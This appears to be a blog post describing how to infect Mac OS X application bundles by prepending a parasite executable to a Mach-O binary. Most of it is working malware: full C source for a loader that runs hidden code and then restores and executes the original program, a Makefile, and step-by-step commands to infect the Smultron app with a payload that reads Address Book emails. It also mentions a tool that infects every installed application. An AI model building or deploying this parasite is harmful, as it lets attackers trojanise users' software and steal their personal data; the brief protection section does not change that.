In this post I’m gonna talk about a flaw in the Mach-O file format which is the one used by Mac OS X.
The flaw is very old and well known.


Theory

Back in 1999, in the b4b0 magazine [3], Silvio Cesare explained that we concatenate 2 binaries together and execute the result, only the first binary is executed.

In 2005 Neil Archibald [4] explains how to exploit this in a very simpler manner, here is the method :

1 – To infect a random binary, you just have to create one which know his own size, this binary is called the parasite.
2 – Once the parasite created, we just need to concatenate a binary to it and rename it with the name of the original binary.
3 – When the user will launch this binary, the parasite will be executed first. It will seek to the end of itself and will copy the rest of the code (the original binary) into a temporary file to execute it, so that the user can use it as expected without noticing that code is running on background.
Scheme

Note that the execution of the code can be done, before, during or after the execution of the original binary.


The bundles [2]

So now let’s talk about bundle, all applications with the suffix .app in Mac OS X are known as bundle.
A bundle is nothing more than a directory which contains what the application need to be executed.
Here is a simplified preview of the structure of an Application called MySoft.
- MySoft.app/Contents/Resources : All the resources of the program are supposed to be on this directory (langs, icons, images, interface…)
- MySoft.app/Contents/MacOS/ (required) : Here is the binary that is executed when the application launched. This file has the same name that the application without the .app suffix.
Most of the time there is only the binary of the application here, but it’s possible to add other command line tools.
- MySoft.app/Contents/Frameworks/ : This directory contains all the framework and libraries needed by the application. (By the way, someone should tell this to Mozilla…)

So after this non exhaustive description, you probably understand that we need to infect the binary in the Contents/MacOS/ directory.


Mach-O file format

Well, I’m not going to spend much time here since I already talked about what’s matter in a previous post.
The problem is that many application today are known as universal binaries, it’s a problem because an universal binary contains code for multiple architecture, and so if you wanted to infect the application we would have to inject the parasite in all the architecture, that sux no ?
But don’t panic, still in a previous post I presented moatool which allow you to reduce a universal binary into a single app. So before we start to infect the application, we reduce it.


The infection

    a) Introduction

So we can start with serious things, as an example I’ll infect the application Smultron and display a window which will print the emails of my contacts listed in Address Book.
So I use the method described above, in particular the perl script of nem0, here is the path to follow :
1 – Code the parasite.
2 – Build it a first time to get his size.
3 – Re-write his size in the source file.
4 – Concatenate /Applications/Smultron.app/Contents/MacOS/Smultron to the parasite.
5 – Rename the parasite by the name of the application.
6 – Execute it.

    b) The parasite

Let’s begin with the parasite, nothing really complicated here.
parasite.c :

#define FILELENGTH 0x89d0
#define MAXTMP (strlen(av[0]) + 2)
#define TMPUS "ORIGTEMP"

#define ADDR_PATH "/Library/Application Support/AddressBook/AddressBook-v22.abcddb"

int dummy(void);

int main(int ac, char** av, char** envp)
{
	FILE*	me = NULL;
	FILE*	tmp = NULL;
	int		status;
	size_t	len = 0;
	char    tmpfile[MAXTMP];
	char    tmpbuf[BUFSIZ];
	pid_t   newpid;

	if (!(me = fopen(av[0], "r+")))
		exit(EXIT_FAILURE);
	if (fseek(me, FILELENGTH, SEEK_SET) == -1) /* Seek for the begining of the original program */
	{
		fclose(me);
		exit(EXIT_FAILURE);
	}
	if (av[0][0] == '/')
		snprintf(tmpfile, MAXTMP, "%s1", av[0]);
	else if (av[0][0] == '.' && av[0][1] == '/')
		snprintf(tmpfile, MAXTMP, "%s1", av[0] + 2);
	if (!(tmp = fopen(tmpfile, "w")))
	{
		fclose(me);
		exit(EXIT_FAILURE);
	}
	do /* Make a copy of expected program */
	{
		len = fread(tmpbuf, 1, BUFSIZ, me);
		fwrite(tmpbuf, len, 1, tmp);
	} while (len == BUFSIZ);

	fclose(tmp);
	fclose(me);

	if (-1 == rename(av[0], TMPUS)) /* Rename infected program (us) to keep it */
		exit(EXIT_FAILURE);
	if (-1 == rename(tmpfile, av[0])) /* Rename copy of expected program with his true name */
		exit(EXIT_FAILURE);

	newpid = fork();
	if (!newpid)
	{
		chmod(av[0], 0777);
		execve(av[0], av, envp); /* Exec expected program */
	}
	else if (newpid > 0)
	{
		dummy(); /* Execute our malicious code */
		pid_t p = fork();
		if (!p)
		{
			waitpid(newpid, &status, 0); /* Wait 'til exepected program terminate */
			unlink(av[0]); /* Remove original program */
			rename(TMPUS, av[0]); /* Restore corrupted one */
		}
	}
	else /* Epic failure */
	{
		unlink(av[0]); /* Remove original program */
		rename(TMPUS, av[0]); /* Restore corrupted one */
		exit(EXIT_FAILURE);
	}
	return EXIT_SUCCESS;
}

Note the #define FILELENGTH 0x89d0 which hold the size of the binary, it’s this value that we need to change after the first compilation.
dummy() is the function which will be executed and will print the emails, I didn’t put it here because it’s not very relevant.

Makefile

all:
	gcc addrbk.c parasite.c -o psite -arch i386 -arch x86_64 -lsqlite3
clean:
	rm -rf psite

The informations of Address Book are stored in a sqlite3 database that’s why we need the -lsqlite3 flag.

    c) L’infection

Let’s begin to reduce the size of the binary with moatool :

moatool -r /Applications/Smultron.app/Contents/MacOS/Smultron

As I said, to realize the infection I use the perl script of nem0 which compile the parasite a first time, calculate his size, change it in the source file, re-build it and finally concatenate the executable given in argument.

./infector.pl /Applications/Smultron.app/Contents/MacOS/Smultron

    d) Execution

To finish we have to launch Smultron, once done, the Finder icon jump in the dock because a message appeared and Smultron is opened. Our code has been executed successfully and the application has been launch, it’s all good.
Still there is a little problem if the application was pined to the dock, when we launch it a new icon appear in the dock and the old don’t get the little launched indicator.

Result


Protection

    a) User side

Then, as usual to avoid this kind of thing, don’t open anything you aren’t sure.
As we saw, this kind of exploit isn’t hard to realize, so it would not be astonishing to see some on p2p networks. After all, we recently saw corrupted version of iWork or Photoshop.
But well, people are dumb, and no matter what you say, there are still plenty who will open whatever they found on the net.

    b) Editor side

We can imagine several ways of filling this weakness, first think of a software which store the size of the binaries into some kind of database, but this kind of soft have to be installed before the infection.
A simpler and less heavy solution would be that Apple modifies the Mach-O file format by adding a field which would contain the size of the binary, like the MS Windows PE format.


Conclusion

We saw that abusing the Mach-O file format on Mac OS is very easy and doesn’t require a great knowledge.
The example shown is inoffensive but it can be something worse. Moreover, the default account on Mac OS X has administration rights, which make this kind of exploit easier.


Sources

You can find the sources here.

The sources are more complete than the article, a Cocoa application is provided, when launched, all applications of the Applications folder are crafted with the parasite.


References

1 – Mac OS X ABI Mach-O File Format Reference – By Apple inc.
2 – Bundle Structures – By Apple inc.
3 – silvio – By Silvio Cesare
4 – Infecting the Mach-o Object Format – By Neil Archibald (nem0)